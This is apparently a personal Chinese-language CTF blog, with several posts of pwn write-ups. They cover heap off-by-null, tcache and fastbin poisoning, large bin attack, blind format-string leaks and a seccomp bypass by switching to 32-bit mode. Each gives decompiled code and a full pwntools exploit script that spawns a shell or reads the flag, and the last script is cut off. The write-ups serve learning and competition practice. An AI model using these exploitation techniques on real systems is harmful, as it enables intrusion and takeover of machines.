快来和我贴贴qaq
post @ 2024-02-27

pwn

你满了,那我就漫出来了![补]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &v3);
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        delete();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&notes + v1) )
  {
    free(*((void **)&notes + v1));
    *((_QWORD *)&notes + v1) = 0LL;
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
  unsigned int size; // [rsp+10h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&notes + v2) )
  {
    puts("The note already exists.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", &size);
      if ( size <= 0xFF )
        break;
      puts("Too big!");
    }
    v0 = v2;
    *((_QWORD *)&notes + v0) = malloc(size);
    printf("Content: ");
    size_4 = read(0, *((void **)&notes + v2), size);
    *(_BYTE *)(*((_QWORD *)&notes + v2) + size_4) = 0;
  }
  return __readfsqword(0x28u) ^ v5;
}

题目没有uaf,但是在add的时候有一个off by null,可以通过off by null 触发一次堆合并 构造 一个heap overlap的现象,产生uaf

构造一个这样的情况,在add heap3的时候,heap4的低位一个字节就会被覆盖成 0x00,如果在创建 heap4的时候size 大于等于 0xf8,这时候chunk的大小为 0xf0 + 0x10(size + 8) + 1(prev_inuse),在add heap3的时候 prev_inuse就会被覆盖,再free掉 heap4的时候就会触发 前向合并,将 heap 1 2 3 4合并在一起

heap 1(free) (content "AAAA") 
heap 2(In use) (content "AAAA")
heap 3(In use) (content "A" * (data  - 8) + p64(heap 1 size+ heap2 size+ heap3 size))
heap 4(In use) (content "AAAA") 
High Address

这时候再malloc 5 6 7 8 那就会产生一个堆重叠现象

1 - 5
2 - 6
3 - 7
4 - 8

这时候2 - 6 3 - 7 就会产生uaf,可以进行double free

所以利用思路是,先通过off by null构造一个heap overlap,产生uaf 泄露libc的地址,再通过uaf 来double free,把free_hook的地址写成system,去free掉一个内容为binsh的堆,触发system(binsh)

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def show(idx):
    sla("Your choice:","2")
    sla("Index: ",str(idx))

def delete(idx):
    sla("Your choice:","3")
    sla("Index: ",str(idx))


def add(idx,size,content):
    sla("Your choice:","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
    sa("Content: ",content)

def add_tcache():
    for i in range(7):
        add(i,0xf8,"AAAA")

def free_tcache():
    for i in range(7):
        delete(i)

p = connect()


add(0,0xf8,"AAAA")
add(1,0x68,"AAAA")

for i in range(2,10):
    add(i,0xf8,"AAAA")

add(12,0xf8,"AAAA")

for i in range(3,10):
    delete(i)

delete(0)
delete(1)

# 0x100 + 0x70 
# 0x100 + 0x70 + 0x100
add(1,0x68,b"B" * 0x60 + p64(0x170))
delete(2)
add(0,0x78,b'a')
add(2,0x78,b'a')

show(1)

libc_base = r_leak_libc_64() - (0x7fe6d3febca0 - 0x7fe6d3c00000)
success(f"libc_base ->{hex(libc_base)}")
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"free_hook ->{hex(free_hook)}")

# 1 == 10 11
add(10,0x68,b"C")
add(11,0x68,b"C")


for i in range(3,10):
    add(i,0x68,b"a")
    
for i in range(3,10):
    delete(i)


delete(10)
delete(11)
delete(1)

for i in range(3,10):
    add(i,0x68,b"a")

add(10,0x68,p64(free_hook))
add(11,0x68,b'/bin/sh')
add(13,0x68,p64(free_hook))
add(1,0x68,p64(system))

delete(11)

# g(p)
p.interactive()

Elden Ring Ⅲ[补]

https://www.freebuf.com/articles/system/232676.html

利用large bin attack往mp_结构体中 存储 tcache大小的位置写一个堆地址,这样题目给的size范围 free掉后能进到tcache bin里面,然后就变成 tcache poison了,2.32 malloc_hook free hook还没有移除,用tcache poison写free hook为system的地址,然后free掉 /bin/sh的堆,触发 system(binsh) getshell

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def add(idx,size):
    sla(">","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def delete(idx):
    sla(">","2")
    sla("Index: ",str(idx))

def edit(idx,context):
    sla(">","3")
    sla("Index: ",str(idx))
    sa("Content: ",context)

def show(idx):
    sla(">","4")
    sla("Index: ",str(idx))


p = connect()

add(1,0x500)
add(2,0x600)
add(3,0x700)

delete(1)
delete(3)
add(4,0x700)

show(1) # 1 in large bin 
out=u64(p.recv(6).ljust(8,b"\x00"))
base=out-libc.sym['__malloc_hook']-1168-0x10
print("libc_base=",hex(base))
free_hook= base +libc.sym['__free_hook']
system=base+libc.sym['system']

mp_offset=0x7fb195cdc280-0x7fb195af9000
mp_=base+mp_offset
print("mp_=",hex(mp_))
target=mp_+0x50


add(10,0x500) #take out 1

add(5,0x600) #chunk1
add(6,0x500) 
add(7,0x5f0) #chunk2
add(8,0x500)

delete(5)
add(9,0x900) # 5 in large bin

delete(7)

fd=u64(p.recv(6).ljust(8,b"\x00"))
edit(5,p64(fd)*2+p64(target-0x20)*2)

add(11,0x900)
# mp_ -> tcache_size = 7 addr

edit(1,b'a'*0x10)
show(1)
p.recvuntil(b'a'*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
edit(1,p64(out)*2)
success(f"heap_base ->{hex(heap_base)}")

# g(p)
add(2,0x500)
delete(2)
# tcache poison
edit(1,p64(base)*2+p64(heap_base)*2+p64(0)*9+p64(free_hook))

add(3,0x500)
edit(3,p64(system))
edit(6,b'/bin/sh\x00')
delete(6)


p.interactive()
Read More
post @ 2024-02-25

pwn

[签到]stack

题目逻辑是这样的,其实就是找一个比 0x58 大很多,低一个字节小于 0x40的数,就能溢出了

char *run()
{
  char buf[76]; // [rsp+0h] [rbp-50h] BYREF
  size_t nbytes; // [rsp+4Ch] [rbp-4h]

  printf("Give me the length: ");
  LODWORD(nbytes) = get_int();
  if ( (unsigned __int8)nbytes > 0x40u )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Give me your command: ");
  read(0, buf, (unsigned int)nbytes);
  return strdup(buf);
}

有一个 backdoor 函数,然后我看了一下没有 rdi的gadget

int __fastcall backdoor(const char *a1)
{
  if ( strncmp(a1, "give me flag", 0xCuLL) )
    return puts("Nope!");
  puts("You got!");
  return system(a1);
}

但是在call system前,因为strdup了一次 rax寄存器是一个堆上的地址,内容和read进去的数据一模一样的,所以可以构造一个 /bin/sh\x00 …… 这样一个payload,在 mov rdi,rax的时候就会取到binsh的地址,最后syscall

.text:00000000004011F0 48 8B 45 F8                   mov     rax, [rbp+s1]
.text:00000000004011F4 48 89 C7                      mov     rdi, rax                        ; command
.text:00000000004011F7 E8 64 FE FF FF                call    _system
.text:00000000004011F7

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "yuanshen.life"
PORT = 33074

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 313

backdoor = 0x4011F4

payload = b'/bin/sh\x00' +b'a' * (0x50)
payload += p64(backdoor)


sla("Give me the length: ","313")
# g(p)
sa("Give me your command: ",payload)

p.interactive()

Easy_SI

格式化字符串盲打,第一次做这种题,去学习了一下

https://wiki.mrskye.cn/Pwn/fmtstr/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9B%B2%E6%89%93/Bilnd_Pwn/#printf-plt

https://www.anquanke.com/post/id/196722#h2-6

思路是找到elf的基地址后,爆破所有可读的段,找到got表的位置,可以通过libc中的printf 后三位 来判断got表中哪个是printf,然后把把printf_got 写成 system_got 最后输入binsh

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "yuanshen.life"
PORT = 33465

libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def leak_stack_fmt():
    return b"%p"

def show_stack(len):

    fmtstr = b""
    data_set = []
    for i in range(len):
        fmtstr += leak_stack_fmt() + b'-'

    sla("And now let's start the game!!!",fmtstr)

    for i in range(len):
        data_set.append(ru('-')[:-1].decode())

    for i in range(len):
        print(f"{str(i)} -> {data_set[i]}")


def leak_addr_fmt(addr):
    return b"%7$saaaa" + p64(addr)


def leak(addr):

    fmtstr = leak_addr_fmt(addr)
    sla("And now let's start the game!!!",fmtstr)

    try:
        leak = p.recvuntil('aaaa',timeout=0.6)
        return leak
    except Exception as e:
        return 0
        # print(f"error: -> {hex(addr)}")
        

def leak_elf(addr1,addr2):

    data_set = []
    addr_set = []
    got_addr_set = []
    got_content_set = [] 
    
    for i in range(addr1,addr2,8):
        data = leak(i)
        if data:
            addr_set.append(i)
            data_set.append(data)
    
    for i in range(len(data_set)):
        print(f"{hex(addr_set[i])} -> {data_set[i]}")

        if b'\x7f' in data_set[i]:
            got_addr_set.append(addr_set[i])
            got_content_set.append(data_set[i][1:-4])

    return got_addr_set,got_content_set


# show_stack(40)
#start -> 0x4010d0


# leak_elf(0x404000 - 0x30,0x404000 + 0x120)

# 0x403ff0 -> b'\n\xc0md\xbc~\x7faaaa'
# 0x403ff8 -> b'\naaaa'
# 0x404000 -> b'\n >@aaaa'
# 0x404008 -> b'\n\xe02\x88\xbc~\x7faaaa'
# 0x404010 -> b'\n`\xdc\x85\xbc~\x7faaaa'
# 0x404018 -> b'\nP\xdei\xbc~\x7faaaa'
# 0x404020 -> b'\n@\x10@aaaa'
# 0x404028 -> b'\n\xe0Oj\xbc~\x7faaaa'
# 0x404030 -> b'\n\xf0\xd6g\xbc~\x7faaaa'
# 0x404038 -> b'\n\xd0\x17s\xbc~\x7faaaa'
# 0x404040 -> b'\naaaa'
# 0x404048 -> b'\naaaa'
# 0x404050 -> b'\naaaa'
# 0x404058 -> b'\naaaa'
# 0x404060 -> b'\n\x80\x87\x83\xbc~\x7faaaa'
# 0x404068 -> b'\naaaa'
# 0x404070 -> b'\n\xa0z\x83\xbc~\x7faaaa'
# 0x404078 -> b'\naaaa'
# 0x404080 -> b'\n\xa0\x86\x83\xbc~\x7faaaa'
# 0x404088 -> b'\naaaa'
# 0x404090 -> b'\naaaa'

got_addr_set,got_content_set = leak_elf(0x403ff0,0x404088)
got_content_set = [u64(i.ljust(8,b'\x00')) for i in got_content_set]

for i in range(len(got_addr_set)):
    print(f"{hex(got_addr_set[i])} -> {hex(got_content_set[i])}")

print(hex(libc.sym['printf']))

# 0x404018 -> 0x7ff74be0de50
# 0x404028 -> 0x7ff74be14fe0
# 0x404030 -> 0x7ff74bded6f0
# 0x404038 -> 0x7ff74bea17d0
# 0x404060 -> 0x7ff74bfa8780
# 0x404070 -> 0x7ff74bfa7aa0
# 0x404080 -> 0x7ff74bfa86a0
# 0x606f0
got_addr_set,got_content_set = leak_elf(0x404030,0x404038)
got_content_set = [u64(i.ljust(8,b'\x00')) for i in got_content_set]

printf = got_content_set[0]

libc_base = printf - libc.sym['printf']
system = libc_base + libc.sym['system']

# print(hex(system))

payload = fmtstr_payload(6,{got_addr_set[0]:system},write_size='byte')
s(payload)




s(b"/bin/sh\x00\x00\x00")




p.interactive()

Bug_Zapper

最终目的是要走到run那 执行mmap中的shellcode,要走到mmap那的话,输入长度最大 0x10,其实是在求 0x55 - 0x65 中哪个系统调用执行完rax是0,那就会走到run那,试了一下输入长度为11个字节,也就是系统调用号为0x50 + 0xb的系统调用执行完rax是0,会走到run那,思路是构造一个长度为11字节的 syscall read to 1919180的payload,跳到1919180那再read 一次,然后写shellcode

syscall                 ; LINUX - sys_read
cmp     rax, 10h
ja      short end
add     rax, 55h ; 'U'
xor     rdi, rdi        ; pathname
xor     rsi, rsi        ; mode
xor     rdx, rdx
syscall                 ; LINUX - sys_creat
cmp     rax, 0
jnz     short end
Read More
post @ 2024-02-14

唉咱好菜,就出了一题

HappyCTF

public vuln
vuln proc near

buf= byte ptr -110h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 110h
lea     rax, aNowPlzYouInput ; "Now,plz you input:"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+buf]
mov     edx, 100h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
mov     [rbp+var_8], rax
mov     rdx, [rbp+var_8]
mov     eax, 0
call    rdx
nop
leave
retn
; } // starts at 401355
vuln endp

有一个沙箱,白名单,有read 和 write 但是没有open,搜了一段时间发现,fstat的系统调用号是5,32位下 open的系统调用也是5,沙箱没有对架构做检查

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

用32位的open 配合 64 位的 read write 打orw

切换成32 位的模式要用 retf,retf等价于 pop cs ; pop rip,因为栈地址是不知道的需要迁移一下,所以在切换前用mmap分配一段有rwx的内存,往上面写open retfq(32 to 64) read write的shellcode,然后retf切换模式 同时mov rsp迁移过去。

因为64位下 push是以八字节为单位push的,retf 在 (pop ip;pop cs)的时候是以四字节为单位pop的,所以不能直接push,可以通过 mov [rsp],eax mov [rsp + 4],eax 这种方式 或者 dword ptr来 “push”

retf 用 pwntools中的asm编译不了,可以用nasm编译,objdump -d 去提取字节码

;;nasm -f elf64 test.asm 
;;ld -m elf_x86_64 -o test test.o
global _start
_start:
    retf

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', log_level='debug')
is_debug = 0

IP = "node1.anna.nssctf.cn"
PORT = 28325

elf = context.binary = ELF('./HappyCTF')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

bss = 0x404000


payload = asm('''
mov eax,9
mov edi,0x23000
mov esi,0x1000
mov edx,7
mov r10,0x22
xor r8,r8
xor r9,r9
syscall
''')

payload += asm('''
xor eax,eax
xor edi,edi
mov esi,0x23000
mov edx,0x200
syscall
''')

payload += asm('''
    mov rsp,0x23500
    mov eax,0x23
    mov [rsp + 4],eax
    mov rax,0x23008
    mov [rsp],eax
''')
payload += b"\xcb"


payload2 = b"flag\x00\x00\x00\x00"
payload2 += asm('''
mov eax,5
mov ebx,0x23000
mov ecx,0
int 0x80
''')

payload2 += asm('''
push 0x33
push 0x23022
retfq
''')
# payload2 += b"\xcb"

payload2 += asm('''
xor eax,eax
mov edi,3
mov esi,0x23000
mov edx,0x40
syscall

mov eax,1
mov edi,1
mov esi,0x23000
mov edx,0x40
syscall
''')



sa("Now,plz you input:\n",payload)

time.sleep(0.4)
# g(p)
s(payload2)
p.interactive()
Read More
post @ 2024-02-14

pwn

Elden Ring Ⅱ

一个heap manager相关的题目,glibc 2.31,没有pie,包括add edit show delete四个功能,在delete这里有一个uaf

void delete_note()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%u", &v0);
  if ( v0 <= 0xF )
  {
    if ( notes[v0] )
      free((void *)notes[v0]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
}

通过uaf 去写 tcache 的 next指针为 puts_got的地址,分配到put_got上,用show去泄露libc_base,然后写free_hook为system,去free一块 内容是/bin/sh的堆

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.137.175"
PORT = 31853

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size):
    sla(">","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def delete_note(idx):
    sla(">","2")
    sla("Index: ",str(idx))

def edit_note(idx,content):
    sla(">","3")
    sla("Index: ",str(idx))
    sa("Content: ",content)

def show_note(idx):
    sla(">","4")
    sla("Index: ",str(idx))

p = connect()


add_note(0,0x70)
add_note(1,0x70)

delete_note(0)
delete_note(1)

puts_got = elf.got['puts']

edit_note(1,p64(puts_got))
add_note(2,0x70)
add_note(3,0x70)

show_note(3)

libc_base = r_leak_libc_64() - libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(libc_base))
success(hex(free_hook))

add_note(4,0x70)
add_note(5,0x70)
delete_note(4)
delete_note(5)

edit_note(5,p64(free_hook))

add_note(6,0x70)
add_note(7,0x70)

edit_note(7,p64(system))
edit_note(6,b'/bin/sh')

delete_note(6)


# g(p)




p.interactive()

fastnote

咱好笨,想了好久才做出来,学到新思路了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3u:
          delete();
          break;
        case 1u:
          add();
          break;
        case 2u:
          show();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    ptr = (void *)notes[v1];
    if ( ptr )
    {
      free(ptr);
      ptr = 0LL;
    }
    else
    {
      puts("No such note.");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", size);
      if ( size[0] <= 0x80u )
        break;
      puts("Too big!");
    }
    v0 = v2;
    notes[v0] = malloc(size[0]);
    printf("Content: ");
    read(0, (void *)notes[v2], size[0]);
  }
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( notes[v1] )
  {
    puts((const char *)notes[v1]);
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}

有 add show delete三个功能,delete那存在一个uaf,这个麻烦的地方往堆块写入数据和创建堆块的功能合在一起了,也就是不能直接通过uaf往free掉的堆块里面写数据,但是可以通过double free fastbin构造一个这样的链 main_arena -> A -> B -> A

通过第一次malloc往 A fd位置写入free_hook的地址,这样这个链就变成 main_arena -> A -> B -> A -> free_hook

第二次malloc把B卸下来,第三次malloc把A卸下来,第四次malloc就会分配到free_hook那了

在free_hook中写system的地址,然后去free一个内容为binsh的堆,相当于执行system(binsh)

然后还有个问题就 通过unsortedbin去泄露libc那,如果unsortedbin和top chunk中间没有东西挡着的话,会合并在一起,因为程序有pie,那只能通过unsortedbin去泄露main_arena的地址算libc的基地址,如果没有pie的话,那改fastbin 或者 tcache的fd next为got表然后show就能泄露了,不过这里edit和add合在一起了,tcache bin有一个key的检查,所以通过tcache bin的思路是不行的

exp

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "47.100.137.175"
PORT = 30932

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size,content):
    sla("Your choice:","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
    sa("Content: ",content)

def delete_note(idx):
    sla("Your choice:","3")
    sla("Index: ",str(idx))


def show_note(idx):
    sla("Your choice:","2")
    sla("Index: ",str(idx))

p = connect()

for i in range(9):
    add_note(i,0x80,"AAAAAA")

for i in range(8):
    delete_note(i)


show_note(2)
tcache_key = u64(rl()[:-1].ljust(8,b'\x00')) - (0x561c766e7320 - 0x561c766e7000)
success(f"tcache_key ->{hex(tcache_key)}")

show_note(7)
libc_base =  r_leak_libc_64() - (0x7ff83873ebe0 - 0x7ff838552000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")

# 还原 bin状态
for i in range(8):
    add_note(i,0x80,"AAAAAA")


# 分配两个fastbin
for i in range(9):
    add_note(i,0x70,"BBBB")

for i in range(9):
    delete_note(i)

# main_arena -> 8 -> 7
# main_arena -> 7 -> 8 -> 7 -> free_hook
delete_note(7)

for i in range(7):
    add_note(i,0x70,"BBBB")

add_note(7,0x70,p64(free_hook))
add_note(11,0x70,b"/bin/sh")
add_note(7,0x70,"CCCCCCC")
add_note(7,0x70,p64(system))

delete_note(11)
# g(p)


p.interactive()

ShellcodeMaster

Read More
post @ 2024-02-11

pwn

pwn1

glibc 2.31 有pie,choice 10能分一个很大的堆块,所以思路是把tcache填满,然后free掉一个大堆块,通过unsortedbin去泄露libc的地址,然后通过tcache bin attack去写free hook为system,再去free掉一块内容为binsh的堆 触发system(/bin/sh)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-1BCh] BYREF
  int v5; // [rsp+8h] [rbp-1B8h] BYREF
  int v6; // [rsp+Ch] [rbp-1B4h]
  char *v7; // [rsp+10h] [rbp-1B0h]
  char *s; // [rsp+18h] [rbp-1A8h]
  void *ptr[52]; // [rsp+20h] [rbp-1A0h]

  ptr[51] = (void *)__readfsqword(0x28u);
  init(argc, argv, envp);
  v6 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            __isoc99_scanf("%d", &v4);
            getchar();
            if ( v4 != 1 )
              break;
            s = (char *)malloc(0x28uLL);
            puts("Enter the note");
            fgets(s, 10, stdin);
            puts("Note created");
            ptr[v6++] = s;
          }
          if ( v4 != 2 )
            break;
          puts("Which note do you want to delete?");
          __isoc99_scanf("%d", &v5);
          getchar();
          if ( v6 < v5 )
            goto LABEL_15;
          free(ptr[v5 - 1]);
        }
        if ( v4 != 3 )
          break;
        puts("Which note do you want to edit?");
        __isoc99_scanf("%d", &v5);
        getchar();
        if ( v6 < v5 )
        {
LABEL_15:
          puts("Invalid choice");
        }
        else
        {
          fgets((char *)ptr[v5 - 1], 100, stdin);
          puts("Note edited");
        }
      }
      if ( v4 != 4 )
        break;
      puts("Which note do you want to read?");
      __isoc99_scanf("%d", &v5);
      getchar();
      if ( v6 < v5 )
        goto LABEL_15;
      puts((const char *)ptr[v5 - 1]);
    }
    if ( v4 == 5 )
      return 0;
    if ( v4 == 10 )
    {
      v7 = (char *)malloc(0x4B0uLL);
      puts("Enter the note");
      fgets(v7, 10, stdin);
      puts("Note created");
      ptr[v6++] = v7;
    }
  }
}

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "20.55.48.101"
PORT = 1339

elf = context.binary = ELF('./chall')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
